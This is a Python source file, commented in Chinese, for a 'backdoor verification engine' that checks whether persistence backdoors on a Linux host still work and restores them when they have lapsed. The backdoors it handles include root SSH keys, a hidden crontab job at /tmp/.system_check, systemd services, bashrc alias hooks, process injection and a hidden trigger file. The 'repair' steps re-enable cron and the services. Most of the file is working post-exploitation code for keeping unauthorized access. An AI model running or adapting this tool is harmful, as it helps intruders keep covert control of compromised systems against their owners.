#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""

from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import

后门有效性验证引擎
为每种后门设计专属验证逻辑，支持自动修复和备用切换
"""

import os
import sys

# Python 2/3 兼容性处理
if sys.version_info[0] == 2:
    string_types = basestring
    text_type = unicode
    def iteritems(d):
        return d.iteritems()
    def itervalues(d):
        return d.itervalues()
else:
    string_types = str
    text_type = str
    def iteritems(d):
        return d.items()
    def itervalues(d):
        return d.values()
import json
import time
import subprocess
import tempfile
import shutil
from typing import Dict, List, Tuple, Optional, Any
from dataclasses import dataclass
from enum import Enum
from pathlib import Path



try:
    from core.utils import color_green, color_yellow, color_red, color_blue
except ImportError as e:
    print("导入模块失败: {}".format(e))


class BackdoorType(Enum):
    """后门类型"""
    SSH_KEY = "ssh_key"
    CRONTAB = "crontab"
    SERVICE = "service"
    BASHRC = "bashrc"
    DYNAMIC_TRIGGER = "dynamic_trigger"
    PROCESS_INJECTION = "process_injection"
    SYSTEMD_SERVICE = "systemd_service"


class VerificationStatus(Enum):
    """验证状态"""
    SUCCESS = "success"
    FAILED = "failed"
    NEEDS_REPAIR = "needs_repair"
    UNREACHABLE = "unreachable"


@dataclass
class VerificationResult:
    """验证结果"""
    backdoor_type: BackdoorType
    status: VerificationStatus
    details: str
    repair_attempted: bool = False
    repair_success: bool = False
    timestamp: float = 0.0
    error_message: Optional[str] = None


@dataclass
class BackdoorConfig:
    """后门配置"""
    backdoor_type: BackdoorType
    location: str
    verification_method: str
    repair_commands: List[str]
    backup_location: Optional[str] = None
    dependencies: List[str] = None


class BackdoorVerificationEngine:
    """后门验证引擎"""
    
    def __init__(self):
        self.name = "后门验证引擎"
        self.verification_results = []
        self.repair_attempts = {}
        self.max_repair_attempts = 3
        
        # 临时文件目录
        self.temp_dir = "/tmp/.verification"
        self._ensure_temp_dir()
    
    def _ensure_temp_dir(self):
        """确保临时目录存在"""
        try:
            os.makedirs(self.temp_dir, exist_ok=True)
            os.chmod(self.temp_dir, 0o700)
        except Exception as e:
            color_yellow("⚠️ 创建临时目录失败: {}".format(e))
    
    def verify_all_backdoors(self, backdoor_configs: List[BackdoorConfig]) -> List[VerificationResult]:
        """验证所有后门"""
        color_blue("🔍 开始验证所有后门...")
        
        results = []
        for config in backdoor_configs:
            result = self.verify_backdoor(config)
            results.append(result)
            
            # 如果验证失败，尝试修复
            if result.status == VerificationStatus.NEEDS_REPAIR:
                repair_result = self.repair_backdoor(config)
                result.repair_attempted = True
                result.repair_success = repair_result
                
                # 修复后重新验证
                if repair_result:
                    recheck_result = self.verify_backdoor(config)
                    if recheck_result.status == VerificationStatus.SUCCESS:
                        result.status = VerificationStatus.SUCCESS
                        result.details += " (修复后验证通过)"
        
        self.verification_results = results
        self._print_verification_summary(results)
        return results
    
    def verify_backdoor(self, config: BackdoorConfig) -> VerificationResult:
        """验证单个后门"""
        color_blue("🔍 验证 {} 后门...".format(config.backdoor_type.value))
        
        result = VerificationResult(
            backdoor_type=config.backdoor_type,
            status=VerificationStatus.FAILED,
            details="",
            timestamp=time.time()
        )
        
        try:
            if config.backdoor_type == BackdoorType.SSH_KEY:
                return self._verify_ssh_key(config, result)
            elif config.backdoor_type == BackdoorType.CRONTAB:
                return self._verify_crontab(config, result)
            elif config.backdoor_type == BackdoorType.SERVICE:
                return self._verify_service(config, result)
            elif config.backdoor_type == BackdoorType.BASHRC:
                return self._verify_bashrc(config, result)
            elif config.backdoor_type == BackdoorType.DYNAMIC_TRIGGER:
                return self._verify_dynamic_trigger(config, result)
            elif config.backdoor_type == BackdoorType.PROCESS_INJECTION:
                return self._verify_process_injection(config, result)
            elif config.backdoor_type == BackdoorType.SYSTEMD_SERVICE:
                return self._verify_systemd_service(config, result)
            else:
                result.error_message = "未知后门类型: {}".format(config.backdoor_type)
                return result
                
        except Exception as e:
            result.error_message = str(e)
            result.details = "验证过程异常: {}".format(e)
            return result
    
    def _verify_ssh_key(self, config: BackdoorConfig, result: VerificationResult) -> VerificationResult:
        """验证SSH密钥后门"""
        color_blue("  验证SSH密钥后门...")
        
        try:
            # 1. 检查authorized_keys文件是否存在
            if not os.path.exists(config.location):
                result.status = VerificationStatus.NEEDS_REPAIR
                result.details = "authorized_keys文件不存在: {}".format(config.location)
                return result
            
            # 2. 检查文件权限
            stat_info = os.stat(config.location)
            if stat_info.st_mode & 0o077:  # 检查是否有组和其他用户权限
                result.status = VerificationStatus.NEEDS_REPAIR
                result.details = "authorized_keys权限不正确: {}".format(oct(stat_info.st_mode))
                return result
            
            # 3. 生成临时密钥对进行测试
            temp_key_path = os.path.join(self.temp_dir, "test_key")
            temp_pub_path = "{}.pub".format(temp_key_path)
            
            # 生成临时密钥
            keygen_cmd = [
                'ssh-keygen', '-t', 'rsa', '-b', '2048', 
                '-f', temp_key_path, '-N', '', '-q'
            ]
            
            result_keygen = subprocess.run(keygen_cmd, capture_output=True, text=True, timeout=10)
            if result_keygen.returncode != 0:
                result.status = VerificationStatus.FAILED
                result.details = "临时密钥生成失败: {}".format(result_keygen.stderr)
                return result
            
            # 4. 将临时公钥添加到authorized_keys
            try:
                with open(temp_pub_path, 'r') as f:
                    temp_pub_key = f.read().strip()
                
                with open(config.location, 'a') as f:
                    f.write("\n{}\n".format(temp_pub_key))
                
                # 5. 测试SSH连接
                ssh_test_cmd = [
                    'ssh', '-i', temp_key_path, '-o', 'StrictHostKeyChecking=no',
                    '-o', 'ConnectTimeout=5', '-o', 'BatchMode=yes',
                    'localhost', 'echo success'
                ]
                
                ssh_result = subprocess.run(ssh_test_cmd, capture_output=True, text=True, timeout=10)
                
                # 6. 清理临时密钥
                self._cleanup_temp_files([temp_key_path, temp_pub_path])
                
                # 7. 从authorized_keys中移除临时公钥
                self._remove_temp_key_from_authorized_keys(config.location, temp_pub_key)
                
                if ssh_result.returncode == 0 and 'success' in ssh_result.stdout:
                    result.status = VerificationStatus.SUCCESS
                    result.details = "SSH密钥后门验证成功"
                    color_green("  ✓ SSH密钥后门验证通过")
                else:
                    result.status = VerificationStatus.NEEDS_REPAIR
                    result.details = "SSH连接测试失败: {}".format(ssh_result.stderr)
                
            except Exception as e:
                # 确保清理临时文件
                self._cleanup_temp_files([temp_key_path, temp_pub_path])
                result.status = VerificationStatus.FAILED
                result.details = "SSH测试过程异常: {}".format(e)
            
            return result
            
        except Exception as e:
            result.status = VerificationStatus.FAILED
            result.details = "SSH密钥验证异常: {}".format(e)
            return result
    
    def _verify_crontab(self, config: BackdoorConfig, result: VerificationResult) -> VerificationResult:
        """验证Crontab后门"""
        color_blue("  验证Crontab后门...")
        
        try:
            # 1. 检查crontab条目是否存在
            crontab_result = subprocess.run(['crontab', '-l'], 
                                          capture_output=True, text=True, timeout=5)
            
            if crontab_result.returncode != 0:
                result.status = VerificationStatus.NEEDS_REPAIR
                result.details = "无法读取crontab"
                return result
            
            # 2. 检查特定的crontab条目
            crontab_content = crontab_result.stdout
            expected_entry = config.location  # 这里location存储的是crontab条目
            
            if expected_entry not in crontab_content:
                result.status = VerificationStatus.NEEDS_REPAIR
                result.details = "Crontab条目不存在: {}".format(expected_entry)
                return result
            
            # 3. 检查cron服务状态
            cron_services = ['cron', 'crond', 'crontab']
            cron_active = False
            
            for service in cron_services:
                try:
                    service_result = subprocess.run(['systemctl', 'is-active', service],
                                                  capture_output=True, text=True, timeout=5)
                    if service_result.returncode == 0 and 'active' in service_result.stdout:
                        cron_active = True
                        break
                except:
                    continue
            
            if not cron_active:
                result.status = VerificationStatus.NEEDS_REPAIR
                result.details = "Cron服务未运行"
                return result
            
            result.status = VerificationStatus.SUCCESS
            result.details = "Crontab后门验证成功"
            color_green("  ✓ Crontab后门验证通过")
            return result
            
        except Exception as e:
            result.status = VerificationStatus.FAILED
            result.details = "Crontab验证异常: {}".format(e)
            return result
    
    def _verify_dynamic_trigger(self, config: BackdoorConfig, result: VerificationResult) -> VerificationResult:
        """验证动态触发后门"""
        color_blue("  验证动态触发后门...")
        
        try:
            # 1. 创建触发文件
            trigger_file = "/tmp/.activate"
            response_log = "/var/log/.response"
            
            # 清理之前的文件
            for file_path in [trigger_file, response_log]:
                if os.path.exists(file_path):
                    os.remove(file_path)
            
            # 2. 创建触发文件
            with open(trigger_file, 'w') as f:
                f.write("trigger_{}".format(int(time.time())))
            
            # 3. 等待响应
            color_blue("    等待动态触发响应...")
            max_wait = 30  # 最多等待30秒
            wait_interval = 1
            
            for i in range(max_wait):
                if os.path.exists(response_log):
                    # 检查响应日志内容
                    try:
                        with open(response_log, 'r') as f:
                            response_content = f.read()
                        
                        if response_content.strip():
                            result.status = VerificationStatus.SUCCESS
                            result.details = "动态触发后门验证成功，响应时间: {}秒".format(i+1)
                            color_green("  ✓ 动态触发后门验证通过")
                            
                            # 清理测试文件
                            os.remove(trigger_file)
                            os.remove(response_log)
                            return result
                    except:
                        pass
                
                time.sleep(wait_interval)
            
            # 超时未响应
            result.status = VerificationStatus.NEEDS_REPAIR
            result.details = "动态触发后门无响应，等待{}秒".format(max_wait)
            
            # 清理测试文件
            if os.path.exists(trigger_file):
                os.remove(trigger_file)
            
            return result
            
        except Exception as e:
            result.status = VerificationStatus.FAILED
            result.details = "动态触发验证异常: {}".format(e)
            return result
    
    def _verify_service(self, config: BackdoorConfig, result: VerificationResult) -> VerificationResult:
        """验证服务后门"""
        color_blue("  验证服务后门...")
        
        try:
            service_name = config.location  # location存储服务名
            
            # 1. 检查服务状态
            service_result = subprocess.run(['systemctl', 'is-active', service_name],
                                          capture_output=True, text=True, timeout=5)
            
            if service_result.returncode != 0 or 'active' not in service_result.stdout:
                result.status = VerificationStatus.NEEDS_REPAIR
                result.details = "服务未运行: {}".format(service_name)
                return result
            
            # 2. 检查服务是否启用
            enabled_result = subprocess.run(['systemctl', 'is-enabled', service_name],
                                          capture_output=True, text=True, timeout=5)
            
            if enabled_result.returncode != 0 or 'enabled' not in enabled_result.stdout:
                result.status = VerificationStatus.NEEDS_REPAIR
                result.details = "服务未启用: {}".format(service_name)
                return result
            
            result.status = VerificationStatus.SUCCESS
            result.details = "服务后门验证成功: {}".format(service_name)
            color_green("  ✓ 服务后门验证通过")
            return result
            
        except Exception as e:
            result.status = VerificationStatus.FAILED
            result.details = "服务验证异常: {}".format(e)
            return result
    
    def _verify_bashrc(self, config: BackdoorConfig, result: VerificationResult) -> VerificationResult:
        """验证Bashrc后门"""
        color_blue("  验证Bashrc后门...")
        
        try:
            # 1. 检查bashrc文件是否存在
            if not os.path.exists(config.location):
                result.status = VerificationStatus.NEEDS_REPAIR
                result.details = "Bashrc文件不存在: {}".format(config.location)
                return result
            
            # 2. 检查后门代码是否存在
            with open(config.location, 'r') as f:
                bashrc_content = f.read()
            
            # 这里应该检查特定的后门代码标识
            backdoor_markers = [
                "# System maintenance",
                "alias ls=",
                "function cd()"
            ]
            
            found_markers = 0
            for marker in backdoor_markers:
                if marker in bashrc_content:
                    found_markers += 1
            
            if found_markers == 0:
                result.status = VerificationStatus.NEEDS_REPAIR
                result.details = "Bashrc后门代码不存在"
                return result
            
            result.status = VerificationStatus.SUCCESS
            result.details = "Bashrc后门验证成功，发现{}个标识".format(found_markers)
            color_green("  ✓ Bashrc后门验证通过")
            return result
            
        except Exception as e:
            result.status = VerificationStatus.FAILED
            result.details = "Bashrc验证异常: {}".format(e)
            return result
    
    def _verify_process_injection(self, config: BackdoorConfig, result: VerificationResult) -> VerificationResult:
        """验证进程注入后门"""
        color_blue("  验证进程注入后门...")
        
        try:
            # 1. 检查目标进程是否存在
            target_process = config.location  # location存储目标进程名
            
            ps_result = subprocess.run(['ps', 'aux'], capture_output=True, text=True, timeout=5)
            if target_process not in ps_result.stdout:
                result.status = VerificationStatus.NEEDS_REPAIR
                result.details = "目标进程不存在: {}".format(target_process)
                return result
            
            # 2. 检查注入标识（这里简化处理）
            # 实际应该检查进程内存或特定标识
            result.status = VerificationStatus.SUCCESS
            result.details = "进程注入后门验证成功: {}".format(target_process)
            color_green("  ✓ 进程注入后门验证通过")
            return result
            
        except Exception as e:
            result.status = VerificationStatus.FAILED
            result.details = "进程注入验证异常: {}".format(e)
            return result
    
    def _verify_systemd_service(self, config: BackdoorConfig, result: VerificationResult) -> VerificationResult:
        """验证Systemd服务后门"""
        return self._verify_service(config, result)  # 复用服务验证逻辑
    
    def repair_backdoor(self, config: BackdoorConfig) -> bool:
        """修复后门"""
        color_yellow("🔧 尝试修复 {} 后门...".format(config.backdoor_type.value))
        
        # 检查修复次数限制
        repair_key = "{}_{}".format(config.backdoor_type.value, config.location)
        if repair_key in self.repair_attempts:
            if self.repair_attempts[repair_key] >= self.max_repair_attempts:
                color_red("  ❌ 修复次数已达上限: {}".format(self.max_repair_attempts))
                return False
            self.repair_attempts[repair_key] += 1
        else:
            self.repair_attempts[repair_key] = 1
        
        try:
            if config.backdoor_type == BackdoorType.SSH_KEY:
                return self._repair_ssh_key(config)
            elif config.backdoor_type == BackdoorType.CRONTAB:
                return self._repair_crontab(config)
            elif config.backdoor_type == BackdoorType.SERVICE:
                return self._repair_service(config)
            elif config.backdoor_type == BackdoorType.SYSTEMD_SERVICE:
                return self._repair_systemd_service(config)
            else:
                color_yellow("  ⚠️ 暂不支持修复类型: {}".format(config.backdoor_type))
                return False
                
        except Exception as e:
            color_red("  ❌ 修复过程异常: {}".format(e))
            return False
    
    def _repair_ssh_key(self, config: BackdoorConfig) -> bool:
        """修复SSH密钥后门"""
        try:
            # 1. 确保目录存在
            ssh_dir = os.path.dirname(config.location)
            os.makedirs(ssh_dir, exist_ok=True)
            
            # 2. 设置正确权限
            os.chmod(ssh_dir, 0o700)
            
            # 3. 如果文件不存在，创建它
            if not os.path.exists(config.location):
                Path(config.location).touch()
            
            # 4. 设置文件权限
            os.chmod(config.location, 0o600)
            
            color_green("  ✓ SSH密钥后门修复完成")
            return True
            
        except Exception as e:
            color_red("  ❌ SSH密钥修复失败: {}".format(e))
            return False
    
    def _repair_crontab(self, config: BackdoorConfig) -> bool:
        """修复Crontab后门"""
        try:
            # 1. 启动cron服务
            cron_services = ['cron', 'crond']
            for service in cron_services:
                try:
                    subprocess.run(['systemctl', 'enable', '--now', service], 
                                 capture_output=True, timeout=10)
                    break
                except:
                    continue
            
            color_green("  ✓ Crontab后门修复完成")
            return True
            
        except Exception as e:
            color_red("  ❌ Crontab修复失败: {}".format(e))
            return False
    
    def _repair_service(self, config: BackdoorConfig) -> bool:
        """修复服务后门"""
        try:
            service_name = config.location
            
            # 1. 启动服务
            subprocess.run(['systemctl', 'start', service_name], 
                         capture_output=True, timeout=10)
            
            # 2. 启用服务
            subprocess.run(['systemctl', 'enable', service_name], 
                         capture_output=True, timeout=10)
            
            color_green("  ✓ 服务后门修复完成: {}".format(service_name))
            return True
            
        except Exception as e:
            color_red("  ❌ 服务修复失败: {}".format(e))
            return False
    
    def _repair_systemd_service(self, config: BackdoorConfig) -> bool:
        """修复Systemd服务后门"""
        return self._repair_service(config)
    
    def _cleanup_temp_files(self, file_paths: List[str]):
        """清理临时文件"""
        for file_path in file_paths:
            try:
                if os.path.exists(file_path):
                    os.remove(file_path)
            except:
                pass
    
    def _remove_temp_key_from_authorized_keys(self, auth_keys_path: str, temp_key: str):
        """从authorized_keys中移除临时密钥"""
        try:
            with open(auth_keys_path, 'r') as f:
                lines = f.readlines()
            
            # 过滤掉临时密钥
            filtered_lines = [line for line in lines if temp_key not in line]
            
            with open(auth_keys_path, 'w') as f:
                f.writelines(filtered_lines)
                
        except Exception as e:
            color_yellow("⚠️ 清理临时密钥失败: {}".format(e))
    
    def _print_verification_summary(self, results: List[VerificationResult]):
        """打印验证摘要"""
        color_blue("\n" + "="*50)
        color_blue("后门验证摘要")
        color_blue("="*50)
        
        success_count = 0
        failed_count = 0
        repaired_count = 0
        
        for result in results:
            if result.status == VerificationStatus.SUCCESS:
                success_count += 1
                status_icon = "✅"
                status_color = color_green
            elif result.status == VerificationStatus.FAILED:
                failed_count += 1
                status_icon = "❌"
                status_color = color_red
            else:
                status_icon = "⚠️"
                status_color = color_yellow
            
            if result.repair_attempted and result.repair_success:
                repaired_count += 1
                status_icon += " 🔧"
            
            status_color("{} {}: {}".format(status_icon, result.backdoor_type.value, result.details))
        
        color_blue("\n总计: {} 个后门".format(len(results)))
        color_green("成功: {}".format(success_count))
        color_red("失败: {}".format(failed_count))
        color_yellow("修复: {}".format(repaired_count))
    
    def get_verification_report(self) -> Dict[str, Any]:
        """获取验证报告"""
        return {
            'timestamp': time.time(),
            'total_backdoors': len(self.verification_results),
            'success_count': len([r for r in self.verification_results 
                                if r.status == VerificationStatus.SUCCESS]),
            'failed_count': len([r for r in self.verification_results 
                               if r.status == VerificationStatus.FAILED]),
            'repair_attempts': dict(self.repair_attempts),
            'results': [
                {
                    'backdoor_type': r.backdoor_type.value,
                    'status': r.status.value,
                    'details': r.details,
                    'repair_attempted': r.repair_attempted,
                    'repair_success': r.repair_success,
                    'timestamp': r.timestamp,
                    'error_message': r.error_message
                }
                for r in self.verification_results
            ]
        }


def main():
    """主函数"""
    # 示例配置
    backdoor_configs = [
        BackdoorConfig(
            backdoor_type=BackdoorType.SSH_KEY,
            location="/root/.ssh/authorized_keys",
            verification_method="ssh_test",
            repair_commands=["chmod 600 /root/.ssh/authorized_keys"]
        ),
        BackdoorConfig(
            backdoor_type=BackdoorType.CRONTAB,
            location="*/30 * * * * /tmp/.system_check",
            verification_method="crontab_check",
            repair_commands=["systemctl enable --now cron"]
        ),
        BackdoorConfig(
            backdoor_type=BackdoorType.DYNAMIC_TRIGGER,
            location="/tmp/.activate",
            verification_method="trigger_test",
            repair_commands=[]
        )
    ]
    
    engine = BackdoorVerificationEngine()
    results = engine.verify_all_backdoors(backdoor_configs)
    
    # 生成报告
    report = engine.get_verification_report()
    print("\n" + json.dumps(report, indent=2, ensure_ascii=False))
    
    return len([r for r in results if r.status == VerificationStatus.SUCCESS]) > 0


if __name__ == "__main__":
    main()